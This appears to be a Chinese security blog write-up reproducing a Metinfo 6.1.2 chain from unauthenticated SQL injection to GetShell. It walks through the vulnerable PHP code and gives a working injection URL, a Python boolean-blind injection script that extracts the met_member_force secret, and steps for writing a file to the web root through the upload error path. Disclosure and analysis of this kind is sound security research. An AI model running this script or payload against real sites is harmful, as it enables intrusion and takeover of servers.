Metinfo 6.1.2 从 SQL 注入到 GetShell 复现&分析

点击阅读

基于 Metinfo 6.1.2,源码可到 https://www.metinfo.cn/download/ 下载

位于 app/system/include/class/web.class.php 468 行开始的 web 类的析构函数中存在任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function __destruct(){
global $_M;
//读取缓冲区数据
$output = str_replace(array('<!--<!---->','<!---->','<!--fck-->','<!--fck','fck-->','',"\r",substr($admin_url,0,-1)),'',ob_get_contents());
ob_end_clean();//清空缓冲区
$output = $this->video_replace('/(<video.*?edui-upload-video.*?>).*?<\/video>/', $output);
$output = $this->video_replace('/(<embed.*?edui-faked-video.*?>)/', $output);
if($_M['config']['met_qiniu_cloud']) {
$output = load::plugin('dofooter_replace', 1, array('data' => $output));
}
/**
* 标签数据处理
*/
load::sys_class('view/ui_compile');
$ui_compile = new ui_compile();
$output = $ui_compile->replace_attr($output);
if($_M['form']['html_filename'] && $_M['form']['metinfonow'] == $_M['config']['met_member_force']){
$filename = urldecode($_M['form']['html_filename']);
if(stristr(PHP_OS,"WIN")) {
$filename = @iconv("utf-8", "GBK", $filename);
}
if(stristr($filename, '.php')){
jsoncallback(array('suc'=>0));
}
if(file_put_contents(PATH_WEB.$filename, $output)){
jsoncallback(array('suc'=>1));
}else{
jsoncallback(array('suc'=>0));
}
}else{
echo $output;//输出内容
}
DB::close();//关闭数据库连接
exit;
}

代码中不难看出,若满足 $_M['form']['html_filename'] && $_M['form']['metinfonow'] == $_M['config']['met_member_force'],则 ob_get_contents() 即输出缓冲区中的内容会被写入文件

而 met_member_force 在安装的时候就被写入了数据库,从 /install/index.php 能看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

. . . .

function randStr($i){
$str = "abcdefghijklmnopqrstuvwxyz";
$finalStr = "";
for($j=0;$j<$i;$j++)
{
$finalStr .= substr($str,mt_rand(0,25),1);
}
return $finalStr;
}

. . . .

$force =randStr(7);
$query = " UPDATE $met_config set value='$force' where name='met_member_force'";
mysqli_query($link , $query) or die('写入数据库失败: ' . mysqli_error($link));

但是我们可以通过 sql 注入获取,在 app\system\message\web\message.class.php 中第43行,{$_M[form][id]} 被直接拼到 sql 语句中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function add($info) {
global $_M;
if(!$_M[form][id]){
$message=DB::get_one("select * from {$_M[table][column]} where module= 7 and lang ='{$_M[form][lang]}'");
$_M[form][id]=$message[id];
}
$met_fd_ok=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' and name= 'met_fd_ok' andcolumnid = {$_M[form][id]}");
$_M[config][met_fd_ok]= $met_fd_ok[value];
if(!$_M[config][met_fd_ok])okinfo('javascript:history.back();',"{$_M[word][Feedback5]}");
if($_M[config][met_memberlogin_code]){
if(!load::sys_class('pin', 'new')->check_pin($_M['form']['code'])){
okinfo(-1, $_M['word']['membercode']);
}
}
. . . .
}

由于 message 继承自系统一级基类 common,其构造函数首先就对表单进行了过滤

1
2
3
4
5
6
7
8
9
10
11
public function __construct() {
global $_M;//全局数组$_M
ob_start();//开启缓存
$this->load_mysql();//数据库连接
$this->load_form();//表单过滤
$this->load_lang();//加载语言配置
$this->load_config_global();//加载全站配置数据
$this->load_url_site();
$this->load_config_lang();//加载当前语言配置数据
$this->load_url();//加载url数据
}

这时如果我们直接在留言页面进行 sql 注入会被 common.func.php 中的 sqlinsert 函数所过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function sqlinsert($string){
if(is_array($string)){
foreach($string as $key => $val) {
$string[$key] = sqlinsert($val);
}
}else{
$string_old = $string;
$string = str_ireplace("\\","/",$string);
$string = str_ireplace("\"","/",$string);
$string = str_ireplace("'","/",$string);
$string = str_ireplace("*","/",$string);
$string = str_ireplace("%5C","/",$string);
$string = str_ireplace("%22","/",$string);
$string = str_ireplace("%27","/",$string);
$string = str_ireplace("%2A","/",$string);
$string = str_ireplace("~","/",$string);
$string = str_ireplace("select", "\sel\ect", $string);
$string = str_ireplace("insert", "\ins\ert", $string);
$string = str_ireplace("update", "\up\date", $string);
$string = str_ireplace("delete", "\de\lete", $string);
$string = str_ireplace("union", "\un\ion", $string);
$string = str_ireplace("into", "\in\to", $string);
$string = str_ireplace("load_file", "\load\_\file", $string);
$string = str_ireplace("outfile", "\out\file", $string);
$string = str_ireplace("sleep", "\sle\ep", $string);
$string = strip_tags($string);
if($string_old!=$string){
$string='';
}
$string = trim($string);
}
return $string;
}

但是细看代码发现在过滤之前,字符串先经过了 daddslashes 函数,而 daddslashes 函数是否执行 sqlinsert 则由 IN_ADMIN 来决定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
if(!defined('IN_ADMIN')){
$string = trim(addslashes(sqlinsert($string)));
}else{
$string = trim(addslashes($string));
}
}
}
return $string;
}

当 IN_ADMIN 常量为 true 时,我们的字符串只会进行简单的 addslashes 转义,存在 sql注入,随即全局搜索 IN_ADMIN 常量,在/admin/index.php发现如下代码

1
2
3
4
5
6
7
8
9
10
11
12
define('IN_ADMIN', true);
//�ӿ�
$M_MODULE='admin';
if(@$_GET['m'])$M_MODULE=$_GET['m'];
if(@!$_GET['n'])$_GET['n']="index";
if(@!$_GET['c'])$_GET['c']="index";
if(@!$_GET['a'])$_GET['a']="doindex";
@define('M_NAME', $_GET['n']);
@define('M_MODULE', $M_MODULE);
@define('M_CLASS', $_GET['c']);
@define('M_ACTION', $_GET['a']);
require_once '../app/system/entrance.php';

我们不但可以得到值为 true 的 IN_ADMIN 常量,而且还可以在这里调用任意do开头的方法,无需登录,所以我们可以利用 domessage 类方法传入 action = add 来进行 sql注入

通过分析 /app/system/entrance.php 构造利用链,我们需要的是 /app/system/message/web/message.class.php,需传入 M_NAME = message,将 M_TYPE 常量值设为 system,M_MODULE 传入值为 web,此时 PATH_OWN_FILE 常量为 /app/system/message/web/,然后 entrance.php 执行 load::module(); 加载 message 模块并传入参数,达到绕过 sqlinsert 执行 add 函数的目的

1
2
3
4
5
6
7
8
9
public static function module($path = '', $modulename = '', $action = '') {
if (!$path) {
if (!$path) $path = PATH_OWN_FILE;
if (!$modulename) $modulename = M_CLASS;
if (!$action) $action = M_ACTION;
if (!$action) $action = 'doindex';
}
return self::_load_class($path, $modulename, $action);
}

payload:http://127.0.0.1:23332//admin/index.php?n=message&m=web&c=message&a=domessage&action=add&lang=cn&para137=1&para186=1&para138=1&para139=1&para140=1&id=1%20or%20sleep(1)

这里代码判断反馈与验证码都在sql语句的后面,所以我们可以借助页面的不同回显进行 bool 盲注,区别是返回的 value 的有无,通过查询数据库,我们可以注入 columnid 为 44 或 42

脚本注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 #coding: utf-8
import requests
import string

url = "http://{}/admin/index.php?n=message&m=web&c=message&a=domessage&action=add&lang=cn&para137=1&para186=1&para138=1&para139=1&para140=1&id="

def get_res_len(host,sql):
global url
url = url.format(host)
max_len = 101
s = requests.session()
for i in range(1,max_len):
check_sql = "44 and(length(({}))={})".format(sql,str(i))
res = s.get(url+check_sql)
if "window.history.back()" in res.text:
return i
print ("data too long")

def get_sqli_data(host,sql):
global url
data_len = get_res_len(host,sql)
sqli = "44 and(ascii(substr(({}),{},1)))={}"
data = ""
s = requests.session()
for i in range(data_len+1):
for c in string.printable[0:62]:
res = s.get(url+sqli.format(sql,str(i),ord(c)))
if "window.history.back()" in res.text:
data += c
print (data)

if __name__ == "__main__":
host = "127.0.0.1:23332"
sql = "select value from met_config where id = 45"
get_sqli_data(host,sql)

通过查询数据库得知 met_member_force 的 id 是 45,注入得到 met_member_force 值

再回到任意文件写入上来,拿到了 met_member_force,下面寻找可控的页面输出,全局搜索 extends web 寻找 web 的子类,其子类并不多,而且找到的大多为查数据库得到的配置参数或是一些固定输出,利用难度较大,较可行的应该就是 uploadify 这个子类了,类方法中有多处 echo jsonencode

其中在 doupfile 函数中,$back 从表单中获取文件名,最后做 jsonencode 操作

1
2
3
4
5
6
7
8
9
10
11
12
 public function doupfile(){
global $_M;

. . . .

$back = $this->upload($_M['form']['formname']);

. . . .

$back['filesize'] = round(filesize($back['path'])/1024,2);
echo jsonencode($back);
}

向上回溯,由自身的 upload 方法调用了 upfile 的 upload 方法

1
2
3
4
5
 public function upload($formname){
global $_M;
$back = $this->upfile->upload($formname);
return $back;
}

$_FILES上传文件属性传给$filear数组保存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function upload($form = '') {
global $_M;
if($form){
foreach($_FILES as $key => $val){
if($form == $key){
$filear = $_FILES[$key];
}
}
}
if(!$filear){
foreach($_FILES as $key => $val){
$filear = $_FILES[$key];
break;
}
}

下面对$filear进行处理后缀名处理

1
2
3
4
5
6
7
8
9
$this->getext($filear["name"]); //获取允许的后缀

protected function getext($filename) {
if ($filename == "") {
return ;
}
$ext = explode(".", $filename);
return $this->ext = $ext[count($ext)-1];
}

文件名如果无.,则取上传文件名即为拓展名的值,下面检查拓展名的时候就可能会出错

1
2
3
4
5
6
//文件后缀是否为合法后缀
if ($_M['config']['met_file_format']) {
if($_M['config']['met_file_format'] != "" && !in_array(strtolower($this->ext)explode('|',strtolower($_M['config']['met_file_format']))) && $filear){
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}
}

数据库中的拓展名白名单如下

上面代码能看出,如果后缀检查有错误,会调用error函数处理,而且传入参数为拓展名的值+错误信息

1
2
3
4
5
protected function error($error){
$back['error'] = 1;
$back['errorcode'] = $error;
return $back;
}

而且 拓展名的值+错误信息 被赋值给了 back,最终在 doupfile 函数中被输出,web 类析构函数将输出缓冲写入文件

文件内容如下

由于文件名与内容可控,注册账号上传图片,然后抓包修改为doupfile方法,根据最开始web.class.php中 file_put_contents 的条件,传入 metinfonow=pjovehc和html_filename文件名,就可以直接写入到web根目录

成功 GetShell

Reference:

https://nosec.org/home/detail/2324.html
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=46687&highlight=metinfo
https://mochazz.github.io/2018/11/09/Metinfo6.0.0-6.1.2%E5%89%8D%E5%8F%B0%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E7%94%9F%E5%91%BD%E7%BA%BF/

文章作者: J0k3r
文章链接: http://j0k3r.top/2019/05/01/Metinfo612/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog